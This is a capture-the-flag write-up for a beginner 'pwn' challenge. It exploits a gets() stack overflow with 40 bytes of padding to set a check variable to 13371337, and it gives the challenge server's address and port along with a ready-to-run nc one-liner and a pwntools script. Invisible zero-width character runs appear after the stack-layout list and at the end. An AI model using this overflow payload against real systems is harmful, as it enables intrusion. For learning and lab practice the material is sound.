Easy Overflow 3

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: gets_exploitation, integer_overwrite, stack_overflow

Summary

Task: exploit gets() buffer overflow to set a check variable to the magic number 13371337. Solution: send 40 bytes of padding followed by 0x00cc07c9 in little-endian to overwrite the integer variable on the stack.

Easy Overflow 3 — SPB CTF Pwn Season

Description

"Переполните, чтобы получить флаг" (Overflow to get the flag)

Server: nc 109.233.56.90 11586 Binary: mc6_censored — ELF 64-bit x86-64, not stripped, with debug_info

Analysis

Classic buffer overflow using the unsafe gets() function. Stack layout:

• Buffer input: 48 bytes from RBP
• Variable checkNo: 8 bytes from RBP (at rbp-8)
• Initial value: checkNo = 0x29a (666 in decimal)
• Target value: checkNo == 0xcc07c9 (13371337 in decimal)
• Distance: 40 bytes from buffer start to checkNo ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The program reads input with gets() (no bounds checking) and checks if checkNo equals 13371337 to print the flag.

 bash read-only • copy allowed Copy
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\xc9\x07\xcc\x00')" | nc 109.233.56.90 11586

Breakdown:

• b'A'*40 — padding to reach checkNo
• b'\xc9\x07\xcc\x00' — 13371337 (0x00cc07c9) in little-endian

 python read-only • copy allowed Copy
from pwn import *

io = remote('109.233.56.90', 11586)
payload = b'A' * 40 + p32(13371337)
io.sendline(payload)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍